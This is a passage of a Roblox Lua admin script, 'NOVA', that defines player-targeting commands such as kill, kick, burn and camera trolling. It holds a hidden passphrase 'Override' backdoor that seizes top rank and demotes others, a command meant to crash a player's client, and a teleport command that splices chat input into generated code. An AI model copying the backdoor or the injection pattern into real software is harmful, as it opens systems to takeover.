  2294. for _,v in pairs(NOVA.Services.Teams:GetChildren()) do
  2295. if string.sub(v.Name:lower(),1,#Msg) == Msg:lower() then
  2296. v:Remove()
  2297. end
  2298. end
  2299. end
  2300. )
  2301.  
  2302. AddCommand("Teams Add","newteam",6,"Part of teams commands.","<Name>",
  2303. function(Msg,Speaker)
  2304. Split = GetSplit(Msg)
  2305. Team = Instance.new("Team",NOVA.Services.Teams)
  2306. Team.TeamColor = BrickColor.new(Msg:sub(Split+1))
  2307. Team.Name = Msg:sub(1,Split-1)
  2308. Team.AutoAssign = false
  2309. Team.Neutral = false
  2310. end
  2311. )
  2312.  
  2313. AddCommand("Kill Talk","killtalk",6,"Kills the selected player when they talk.","<Players>",
  2314. function(Msg,Speaker)
  2315. for _,v in pairs(GetPlayers(Msg,speaker)) do
  2316. v.Chatted:connect(function() pcall(function() v.Character:BreakJoints() end) end)
  2317. end
  2318. end
  2319. )
  2320.  
  2321. AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
  2322. function(Msg,Speaker)
  2323. for _,v in pairs(GetPlayers(Msg,speaker)) do
  2324. v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
  2325. end
  2326. end
  2327. )
  2328.  
  2329. AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  2330. function(Msg,Speaker)
  2331. for _,v in pairs(NOVA.Services.Workspace:GetChildren()) do
  2332. pcall(function()
  2333. v:Destroy()
  2334. end)
  2335. end
  2336.  
  2337. local Base=Instance.new("Part",NOVA.Services.Workspace)
  2338. Base.Name="Base"
  2339. Base.Size=Vector3.new(2048,1,2048)
  2340. Base.BrickColor=BrickColor.new("Dark green")
  2341. Base.Anchored=true
  2342. Base.Locked=true
  2343. Base.TopSurface="Studs"
  2344. Base.Transparency = 0
  2345. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  2346. local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  2347. Spawn.Size=Vector3.new(6,1,6)
  2348. Spawn.Transparency=1
  2349. Spawn.CanCollide=false
  2350. Spawn.Anchored=true
  2351. Spawn.Locked=true
  2352. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  2353.  
  2354. wait(1)
  2355.  
  2356. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  2357. v:LoadCharacter()
  2358. end
  2359.  
  2360. end
  2361. )
  2362.  
  2363. AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
  2364. function(Msg,Speaker)
  2365. RemoveTablets(Speaker)
  2366. Explore(game,Speaker)
  2367. end
  2368. )
  2369.  
  2370. AddCommand("Lock Models","lockmodels",6,"Lets you toggle the model lock.","No Arguments",
  2371. function(Msg,Speaker)
  2372. if NOVA.LockModels == true then
  2373. NOVA.LockModels = false
  2374. elseif NOVA.LockModels == false then
  2375. NOVA.LockModels = true
  2376. end
  2377.  
  2378. end
  2379. )
  2380.  
  2381. AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
  2382. function(Msg,Speaker)
  2383. if NOVA.LockedScripts == true then
  2384. NOVA.LockedScripts = false
  2385. elseif NOVA.LockedScripts == false then
  2386. NOVA.LockedScripts = true
  2387. end
  2388.  
  2389. end
  2390. )
  2391.  
  2392. AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
  2393. function(Msg,Speaker)
  2394. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2395. for i=1,25 do
  2396. coroutine.resume(coroutine.create(function()
  2397. wait()
  2398. local Part = Instance.new("Part",NOVA.Services.Workspace)
  2399. Part.FormFactor = "Custom"
  2400. Part.Transparency = 1
  2401. Part.CanCollide = false
  2402. Part.Anchored = false
  2403. Part.Size = Vector3.new(1,1,1)
  2404. Part.CFrame = v.Character.Head.CFrame
  2405. Part:BreakJoints()
  2406.  
  2407. local BBG = Instance.new("BillboardGui",Part)
  2408. BBG.Adornee = Part
  2409. BBG.Size = UDim2.new(3,0,1,0)
  2410. --BBG.StudsOffset = Vector3.new(0, 0, 1)
  2411.  
  2412. local Img = Instance.new("ImageLabel",BBG)
  2413. Img.Size = UDim2.new(1,0,1,0)
  2414. Img.BackgroundTransparency = 1
  2415. Img.Image = "http://www.roblox.com/asset/?id=45120559"
  2416.  
  2417. local BP = Instance.new("BodyPosition",Part)
  2418. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2419. --BP.D = 2000
  2420. BP.P = 1000
  2421. BP.position = Part.Position + Vector3.new(
  2422. math.random(-7,7),
  2423. math.random(-7,7),
  2424. math.random(-7,7))
  2425.  
  2426. for v = 3,0,-0.1 do
  2427. wait(0.1)
  2428. BBG.Size = UDim2.new(v,0,v,0)
  2429. end
  2430. Part:Remove()
  2431. end))
  2432. end
  2433. end
  2434. end
  2435. )
  2436.  
  2437. AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
  2438. function(Msg,Speaker)
  2439. NOVA.Canceled = true
  2440. end
  2441. )
  2442.  
  2443. AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
  2444. function(Msg,Speaker)
  2445. Split = GetSplit(Msg)
  2446. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1))) do
  2447. pcall(function()
  2448. pcall(function()
  2449. v.Character[v.Name]:Remove()
  2450. end)
  2451. OldHead = v.Character.Head
  2452. Model = Instance.new("Model",v.Character.Head)
  2453. Model.Name = Msg:sub(Split+1)
  2454. Head = OldHead:Clone()
  2455. Head.Parent = Model
  2456. Head.Transparency = 0
  2457. Head.Name = "Head"
  2458. Head.CanCollide = false
  2459. Hum = Instance.new("Humanoid",Model)
  2460. Hum.MaxHealth = 0
  2461. Weld = Instance.new("Weld",Head)
  2462. Weld.Part0 = Head
  2463. Weld.Part1 = OldHead
  2464. Weld.C0 = CFrame.new(0,0,0)
  2465. OldHead.Transparency= 1
  2466. end)
  2467. end
  2468. end
  2469. )
  2470.  
  2471. AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
  2472. function(Msg,Speaker)
  2473. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2474. CreateLocalScript([[
  2475. script.Parent = nil
  2476. Camera = workspace.CurrentCamera
  2477. LocalPlayer = game.Players.LocalPlayer
  2478. Camera.CameraType = "Scriptable"
  2479. for i=1,700 do
  2480. wait()
  2481. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  2482. Camera.CameraType = "Scriptable"
  2483. Camera:SetRoll(Camera:GetRoll()+0.01)
  2484. pcall(function()
  2485. LocalPlayer.Character.Head.Sound:Play()
  2486. end)
  2487. end
  2488. Camera:SetRoll(0)
  2489. Camera.CameraType = "Custom"
  2490. Camera.FieldOfView = 70
  2491. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2492. ]],v.Backpack)
  2493. end
  2494. end
  2495. )
  2496.  
  2497. AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
  2498. function(Msg,Speaker)
  2499. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2500. CreateLocalScript([[
  2501. script.Parent = nil
  2502. Camera = workspace.CurrentCamera
  2503. LocalPlayer = game.Players.LocalPlayer
  2504. Camera.CameraType = "Scriptable"
  2505. while true do
  2506. wait()
  2507. Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  2508. Camera.CameraType = "Scriptable"
  2509. Camera:SetRoll(Camera:GetRoll()+0.01)
  2510. pcall(function()
  2511. LocalPlayer.Character.Head.Sound:Play()
  2512. end)
  2513.  
  2514.  
  2515. end
  2516. Camera:SetRoll(0)
  2517. Camera.CameraType = "Custom"
  2518. Camera.FieldOfView = 70
  2519. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2520. ]],v.Backpack)
  2521. end
  2522. end
  2523. )
  2524.  
  2525. AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
  2526. function(Msg,Speaker)
  2527. for _,v in pairs(NOVA.Credit) do
  2528. Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
  2529. end
  2530. end
  2531. )
  2532.  
  2533. AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
  2534. function(Msg,Speaker)
  2535. pcall(function()
  2536. Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  2537. Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  2538. Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
  2539. end)
  2540. end
  2541. )
  2542.  
  2543. AddCommand("Playlist","playlist",3,"Lists NOVA's sounds.","No Arguments",
  2544. function(Msg,Speaker)
  2545. for _,v in pairs(NOVA.Sounds) do
  2546. Output(v.Data.Name,"Random",Speaker,nil,
  2547. function()
  2548. PlaySound(v.Data.Name)
  2549. end
  2550. )
  2551. end
  2552. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2553. end
  2554. )
  2555.  
  2556. AddCommand("Play","play",6,"Plays the selected sound.","<Sound Name>",
  2557. function(Msg,Speaker)
  2558. for _,v in pairs(NOVA.Sounds.Music) do
  2559. if v.Name:lower():match(Msg:lower()) then
  2560. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  2561. NOVA.Sounds.Sound.SoundId = v.Id
  2562. NOVA.Sounds.Sound.Pitch = v.Pitch
  2563. NOVA.Sounds.Sound.Looped = v.Looped
  2564. NOVA.Sounds.Sound.Volume = 1
  2565. wait(0.5)
  2566. NOVA.Sounds.Sound:Play()
  2567. end
  2568. end
  2569. end
  2570. )
  2571.  
  2572.  
  2573. AddCommand("Stop","stop",6,"Stops all of NOVA's sounds.","No Arguments",
  2574. function(Msg,Speaker)
  2575. NOVA.Sounds.Sound:Stop()
  2576. end
  2577. )
  2578.  
  2579. AddCommand("Time","time",1,"Changes the time.","<Number>",
  2580. function(Msg,Speaker)
  2581. NOVA.Services.Lighting.TimeOfDay = Msg
  2582. end
  2583. )
  2584.  
  2585. AddCommand("Fog End","fog\\end",1,"Changes the fog.","<Number>",
  2586. function(Msg,Speaker)
  2587. NOVA.Services.Lighting.FogEnd = Msg
  2588. end
  2589. )
  2590.  
  2591. AddCommand("Fog Start","fog\\start",1,"Changes the fog.","<Number>",
  2592. function(Msg,Speaker)
  2593. NOVA.Services.Lighting.FogStart = Msg
  2594. end
  2595. )
  2596.  
  2597. AddCommand("Fog Color","fog\\color",1,"Changes the fog.","<Number>",
  2598. function(Msg,Speaker)
  2599. if Msg == "red" then Color = NOVA.Colors.Red
  2600. elseif Msg == "black" then Color = NOVA.Colors.Black
  2601. elseif Msg == "white" then Color = NOVA.Colors.White
  2602. elseif Msg == "orange" then Color = NOVA.Colors.Orange
  2603. elseif Msg == "green" then Color = NOVA.Colors.Green
  2604. elseif Msg == "blue" then Color = NOVA.Colors.Blue
  2605. end
  2606. NOVA.Services.Lighting.FogColor = Color
  2607. end
  2608. )
  2609.  
  2610. AddCommand("Get CMD","get\\cmd",0,"Toggles the CMD bar on your screen.","<BoolValue>",
  2611. function(Msg,Speaker)
  2612. if Msg == "true" then
  2613. GetRankedTable(Speaker).CMD = true
  2614. elseif Msg == "false" then
  2615. GetRankedTable(Speaker).CMD = false
  2616. pcall(function() Speaker.PlayerGui:FindFirstChild("NOVACMD"):Remove() end)
  2617. else Output("Please choose a proper bool value. ( true / false )",NOVA.Colors.Orange,Speaker,5)
  2618. end
  2619. end
  2620. )
  2621.  
  2622. AddCommand("Override","override",0,"Lost.","<KeyPhrase>",
  2623. function(Msg,Speaker)
  2624. if Msg == "4 8 15 16 23 42" then
  2625. for _,v in pairs(NOVA.Ranked) do
  2626. if v.Rank < 7 then
  2627. v.Rank = 0
  2628. end
  2629. end
  2630. GetRankedTable(Speaker).Rank = 8
  2631. NOVA.LockedScripts = true
  2632. NOVA.ModelLock = true
  2633. NOVA.totalLock = true
  2634. NOVA.Service.Lighting.FogEnd = 0
  2635. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  2636. NOVA.Services.Lighting.TimeOfDay = 0
  2637. end
  2638. end
  2639. )
  2640.  
  2641. AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
  2642. function(Msg,Speaker)
  2643.  
  2644. Split = GetSplit(Msg)
  2645.  
  2646. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2647. if GetRank(Speaker) > GetRank(v) then
  2648. OnChatted(Msg:sub(Split),v)
  2649. end
  2650. end
  2651. end
  2652. )
  2653.  
  2654. AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
  2655. function(Msg,Speaker)
  2656.  
  2657. Split = GetSplit(Msg)
  2658.  
  2659. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2660. Output(Msg:sub(Split+1),"Random",v,10)
  2661. end
  2662. end
  2663. )
  2664.  
  2665. AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
  2666. function(Msg,Speaker)
  2667. Split = GetSplit(Msg)
  2668. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2669. pcall(function()
  2670. v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
  2671. end)
  2672. end
  2673. end
  2674. )
  2675.  
  2676. AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
  2677. function(Msg,Speaker)
  2678. local Temp = {
  2679. "http://www.roblox.com/Asset/?id=2101148",
  2680. "http://www.roblox.com/Asset/?id=2233908",
  2681. "http://www.roblox.com/Asset/?id=16976189",
  2682. }
  2683.  
  2684. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2685. local Cube = Instance.new("Part",NOVA.Services.Workspace)
  2686. Cube.FormFactor = "Custom"
  2687. Cube.Size = Vector3.new(10,10,10)
  2688. Cube.CFrame = v.Character.Torso.CFrame
  2689. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
  2690. * CFrame.new(0, 500, 0)
  2691.  
  2692. Cube.BrickColor = BrickColor.new("Really black")
  2693. Cube.Anchored = false
  2694. Cube.CanCollide = false
  2695. Cube.Friction = 0
  2696. Cube.Transparency= 0.5
  2697. Cube.Reflectance = 0.5
  2698. wait()
  2699. Cube:BreakJoints()
  2700. Cube.Touched:connect(function(part)
  2701. if part == v.Character.Torso then
  2702. Instance.new("Explosion",NOVA.Services.Workspace).Position = v.Character.Head.Position
  2703. local S = Instance.new("Sound",NOVA.Services.Workspace)
  2704. S.SoundId = Temp[math.random(1,3)]
  2705. S.Volume = 1
  2706. S:Play()
  2707. Cube:Remove()
  2708. end
  2709. end)
  2710. BP = Instance.new("BodyPosition",Cube)
  2711. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  2712. BP.position = v.Character.Torso.Position
  2713. BP.P = 1200
  2714. BP.D = 0
  2715. end
  2716. end
  2717. )
  2718.  
  2719. AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
  2720. function(Msg,Speaker)
  2721. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2722. pcall(function()
  2723. v.PlayerGui:ClearAllChildren()
  2724. end)
  2725. end
  2726. end
  2727. )
  2728.  
  2729. AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
  2730. function(Msg,Speaker)
  2731. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2732. pcall(function()
  2733. v.PlayerGui:Destroy()
  2734. end)
  2735. end
  2736. end
  2737. )
  2738.  
  2739. AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
  2740. function(Msg,Speaker)
  2741. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2742. pcall(function()
  2743. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  2744. if part:IsA("BasePart") then
  2745. Instance.new("Fire",part)
  2746. end
  2747. end
  2748. end)
  2749. end
  2750. end
  2751. )
  2752.  
  2753. AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
  2754. function(Msg,Speaker)
  2755. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2756. pcall(function()
  2757. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  2758. if part:IsA("Fire") then
  2759. part:Destroy()
  2760. end
  2761. end
  2762. end)
  2763. end
  2764. end
  2765. )
  2766.  
  2767. AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
  2768. function(Msg,Speaker)
  2769. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2770. pcall(function()
  2771. coroutine.resume(coroutine.create(function()
  2772. local Fire = Instance.new("Fire",v.Character.Torso)
  2773. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  2774. if part:IsA("BasePart") then
  2775. Instance.new("Fire",part)
  2776. end
  2777. end
  2778. wait()
  2779. for i=1,math.huge do
  2780. if Fire.Parent == nil then break end
  2781. if v.Character.Humanoid == nil then break end
  2782. if v.Character.Humanoid.Health <= 0 then break end
  2783. v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
  2784. wait(math.random(0,1))
  2785. end
  2786. end))
  2787. end)
  2788. end
  2789. end
  2790. )
  2791.  
  2792. AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
  2793. function(Msg,Speaker)
  2794. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2795. pcall(function()
  2796. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  2797. end)
  2798. end
  2799. end
  2800. )
  2801.  
  2802. AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
  2803. function(Msg,Speaker)
  2804. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2805. pcall(function()
  2806. v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
  2807. end)
  2808. end
  2809. end
  2810. )
  2811.  
  2812. AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
  2813. function(Msg,Speaker)
  2814. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2815. Cape(v)
  2816. end
  2817. end
  2818. )
  2819.  
  2820.  
  2821. AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
  2822. function(Msg,Speaker)
  2823. coroutine.resume(coroutine.create(function()
  2824.  
  2825. --[[
  2826. 1 Grass Material for grassy terrain cells.
  2827. 2 Sand Material for sandy terrain cells.
  2828. 3 Brick Material for brick terrain cells.
  2829. 4 Granite Material for granite terrain cells.
  2830. 5 Asphalt Material for asphalt terrain cells.
  2831. 6 Iron Material for iron terrain cells.
  2832. 7 Aluminum Material for aluminum terrain cells.
  2833. 8 Gold Material for gold terrain cells.
  2834. 9 WoodPlank Material for wood plank terrain cells.
  2835. 10 WoodLog Material for wood log terrain cells.
  2836. 11 Gravel Material for gravel terrain cells.
  2837. 12 CinderBlock Material for cinder block terrain cells.
  2838. 13 MossyStone Material for mossy stone terrain cells.
  2839. 14 Cement Material for cement terrain cells.
  2840. 15 RedPlastic Material for red plastic terrain cells.
  2841. 16 BluePlastic
  2842. ]]
  2843. -- Cube type = 0
  2844. Material = math.random(1,16)
  2845. Cap = 1000
  2846. GenNum = 50
  2847. Size = 100
  2848. Type = math.random(0,4)
  2849. for i=1, Cap do
  2850. --wait()
  2851. for i=1,GenNum do
  2852. Material = math.random(1,16)
  2853. Type = math.random(0,4)
  2854. X = math.random((Size/2)*-1,Size/2)
  2855. Y = math.random(-1,Size-1)
  2856. Z = math.random((Size/2)*-1,Size/2)
  2857. NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
  2858. end
  2859. end
  2860. end))
  2861. end
  2862. )
  2863.  
  2864. AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",
  2865. function(Msg,Speaker)
  2866. NOVA.Services.Workspace.Terrain:Clear()
  2867. end
  2868. )
  2869.  
  2870. AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
  2871. function(Msg,Speaker)
  2872. coroutine.resume(coroutine.create(function()
  2873. size = Vector3.new(100, 50, 100)
  2874. for X=(size.x/2)*-1,size.x/2 do
  2875. for Y=-1, size.y-1 do
  2876. for Z=(size.z/2)*-1, size.z/2 do
  2877. NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
  2878. end
  2879. end
  2880. --wait(tonumber("0."..string.rep("0",10000).."1"))
  2881. end
  2882. end))
  2883. end
  2884. )
  2885.  
  2886. AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
  2887. function(Msg,Speaker)
  2888. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2889. Char = v.Character
  2890. pcall(function() Char["Shirt Graphic"]:Remove() end)
  2891. pcall(function() Char.Humanoid.MaxHealth = math.huge end)
  2892. pcall(function() Char["Body Colors"]:Remove() end)
  2893. pcall(function() Char.Torso.roblox:Remove() end)
  2894. pcall(function() Char.Shirt:Remove() end)
  2895. pcall(function() Char.Pants:Remove() end)
  2896. wait()
  2897. for _,a in pairs(Char:GetChildren()) do
  2898. pcall(function() a.TextureId = "" a.VertexColor = NOVA.Colors.Black end)
  2899. pcall(function() a.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black)) a.Reflectance = 0 a.TopSurface = "Smooth" a.BottomSurfave = "Smooth" wait() end)
  2900. for _,b in pairs(a:GetChildren()) do
  2901. pcall(function() b.TextureId = "" b.VertexColor = NOVA.Colors.Black end)
  2902. pcall(function() b.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black)) b.Reflectance = 0 b.TopSurface = "Smooth" b.BottomSurfave = "Smooth" wait() end)
  2903. for _,c in pairs(b:GetChildren()) do
  2904. pcall(function() c.TextureId = "" c.VertexColor = NOVA.Colors.Black end)
  2905. pcall(function() c.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black)) c.Reflectance = 0 c.TopSurface = "Smooth" c.BottomSurfave = "Smooth" wait() end)
  2906. end
  2907. end
  2908. end
  2909. end
  2910. end
  2911. )
  2912.  
  2913. AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
  2914. function(Msg,Speaker)
  2915. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2916. v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
  2917. wait()
  2918. v.Character:BreakJoints()
  2919. end
  2920. end
  2921. )
  2922.  
  2923. AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
  2924. function(Msg,Speaker)
  2925. Split = GetSplit(Msg)
  2926. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  2927. v.Neutral = Msg:sub(Split+1)
  2928. end
  2929. end
  2930. )
  2931.  
  2932. AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
  2933. function(Msg,Speaker)
  2934. MainCFrame = CFrame.new(0,3,15)
  2935. * CFrame.Angles(0,math.rad(90),0)
  2936. local Special = {}
  2937. pcall(function() workspace["NOVA Portal"]:Remove() end)
  2938. local Model = Instance.new("Model",workspace)
  2939. Model.Name = "NOVA Portal"
  2940. for angle=1,360/4 do
  2941. local Part = Instance.new("Part",Model)
  2942. Part.Name = "Part"
  2943. Part.FormFactor = "Custom"
  2944. Part.CanCollide = true
  2945. Part.Anchored = true
  2946. Part.Transparency = 0
  2947. Part.Reflectance = 0
  2948. Part.Size = Vector3.new(1,5/2,1)
  2949. Part.BrickColor = BrickColor.new("Navy blue")
  2950. Part.CFrame = MainCFrame
  2951. * CFrame.Angles(math.rad(angle*4), 0, 0)
  2952. * CFrame.new(0, 15/2, i)
  2953. --wait(0)
  2954. Instance.new("BlockMesh",Part)
  2955. for num=0,1000,5 do
  2956. if angle==num then
  2957. wait()
  2958. table.insert(Special,Part)
  2959. --Part.Reflectance = 1
  2960. Part.Size = Vector3.new(0.9,5/2,0.9)
  2961. Part.CFrame = MainCFrame
  2962. * CFrame.Angles(math.rad(angle*4), 0, 0)
  2963. * CFrame.new(0, 15/2, i)
  2964. end
  2965. end
  2966. end
  2967.  
  2968. for _,v in pairs(Special) do v.Reflectance = 1 wait() end
  2969.  
  2970. local Part = Instance.new("Part",Model)
  2971. Part.Name = "Part"
  2972. Part.FormFactor = "Custom"
  2973. Part.CanCollide = false
  2974. Part.Anchored = true
  2975. Part.TopSurface = "Smooth"
  2976. Part.BottomSurface = "Smooth"
  2977. Part.Transparency = 0.5
  2978. Part.Reflectance = 0
  2979. Part.Size = Vector3.new(0.2,0.2,0.2)
  2980. Part.BrickColor = BrickColor.new("Really black")
  2981. Part.CFrame = MainCFrame
  2982. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  2983. * CFrame.new(0, 0, 0)
  2984. Instance.new("CylinderMesh",Part)
  2985.  
  2986. for i=0.2,51/4,0.5 do
  2987. wait()
  2988. Part.Size = Vector3.new(i,0.9,i)
  2989. Part.CFrame = MainCFrame
  2990. * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  2991. * CFrame.new(0, 0, 0)
  2992. end
  2993.  
  2994. coroutine.resume(coroutine.create(function()
  2995. while true do wait()
  2996. for i=0,1,0.01 do wait() Part.Reflectance = i end
  2997. for i=1,0,-0.01 do wait() Part.Reflectance = i end
  2998. end
  2999. end))
  3000.  
  3001.  
  3002.  
  3003.  
  3004. Part.Touched:connect(function(Part)
  3005. Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
  3006. if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
  3007. --print(Player.Name.." touched.")
  3008. CreateLocalScript([==[
  3009. LocalPlayer = game:service'Players'.LocalPlayer
  3010. Places = {
  3011. {Name = "Oxcool1 SB",ID = 20279777};
  3012. {Name = "Oxcool1 PRI SB", ID = 20132544};
  3013. {Name = "TNS SB", ID = 23232804};
  3014. {Name = "BrainWart SB", ID = 76809211};
  3015. {Name = "nb SB",ID = 113456};
  3016. {Name = "nb SB (2)",ID = 56786};
  3017. {Name = "Insert Wars",ID = 13329886};
  3018. }
  3019. pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
  3020. local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
  3021. Main.Name = "NOVA Teleport"
  3022. script.Parent = Main
  3023.  
  3024. local Frame = Instance.new("Frame",Main)
  3025. Frame.Size = UDim2.new(0.27,0,0.05,0)
  3026. Frame.Position = UDim2.new(0.,0,0.2,0)
  3027. Frame.Style = "RobloxSquare"
  3028.  
  3029. local Txt = Instance.new("TextBox",Frame)
  3030. Txt.Size = UDim2.new(0.7,0,1,0)
  3031. Txt.BackgroundTransparency = 1
  3032. Txt.FontSize = "Size14"
  3033. Txt.TextColor3 = Color3.new(1,1,1)
  3034. Txt.Text = "ID/Name Here"
  3035.  
  3036. local Close = Instance.new("TextButton",Frame)
  3037. Close.Size = UDim2.new(0.1,0,1,0)
  3038. Close.Position = UDim2.new(0.9,0,0,0)
  3039. Close.Text = "X"
  3040. Close.BackgroundTransparency = 1
  3041. Close.FontSize = "Size14"
  3042. Close.TextColor3 = Color3.new(1,0,0)
  3043. Close.MouseButton1Down:connect(function()
  3044. Main:Remove()
  3045. end)
  3046.  
  3047. local Exe = Instance.new("TextButton",Frame)
  3048. Exe.Size = UDim2.new(0.2,0,1,0)
  3049. Exe.Position = UDim2.new(0.6,0,0,0)
  3050. Exe.Text = "Teleport"
  3051. Exe.BackgroundTransparency = 1
  3052. Exe.FontSize = "Size14"
  3053. Exe.TextColor3 = Color3.new(1,0,0)
  3054. Exe.MouseButton1Down:connect(function()
  3055. GoTo = Txt.Text
  3056. for _,v in pairs(Places) do
  3057. if Txt.Text:lower() == v.Name:lower() then
  3058. GoTo = v.ID
  3059. end
  3060. end
  3061. game:service'TeleportService':Teleport(GoTo)
  3062. Main:Remove()
  3063. end)
  3064.  
  3065. List = Instance.new("Frame",Main)
  3066. List.Size = UDim2.new(0.27,0,0.05*#Places,0)
  3067. List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
  3068. List.Style = "RobloxSquare"
  3069.  
  3070. for NUM,v in pairs(Places) do
  3071. Name = Instance.new("TextButton",List)
  3072. Name.Size = UDim2.new(0.5,0,1/#Places,0)
  3073. Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
  3074. Name.BackgroundTransparency = 1
  3075. Name.FontSize = "Size14"
  3076. Name.TextColor3 = Color3.new(1,1,1)
  3077. Name.Text = v.Name
  3078. Name.MouseButton1Down:connect(function()
  3079. game:service'TeleportService':Teleport(v.ID)
  3080. end)
  3081. ID = Instance.new("TextButton",List)
  3082. ID.Size = UDim2.new(0.5,0,1/#Places,0)
  3083. ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
  3084. ID.BackgroundTransparency = 1
  3085. ID.FontSize = "Size14"
  3086. ID.TextColor3 = Color3.new(1,1,1)
  3087. ID.Text = v.ID
  3088. ID.MouseButton1Down:connect(function()
  3089. game:service'TeleportService':Teleport(v.ID)
  3090. end)
  3091. end
  3092. ]==],Player.Backpack)
  3093. end
  3094. end)
  3095. end
  3096. )
  3097.  
  3098. AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player>",
  3099. function(Msg,Speaker)
  3100. for i=1,100 do
  3101. if string.sub(Msg,i,i) == "\\" then
  3102. Split = i
  3103. break
  3104. end
  3105. end
  3106. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3107. CreateLocalScript([==[game:service'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
  3108. end
  3109. end
  3110. )
  3111.  
  3112. AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player>",
  3113. function(Msg,Speaker)
  3114. for i=1,100 do
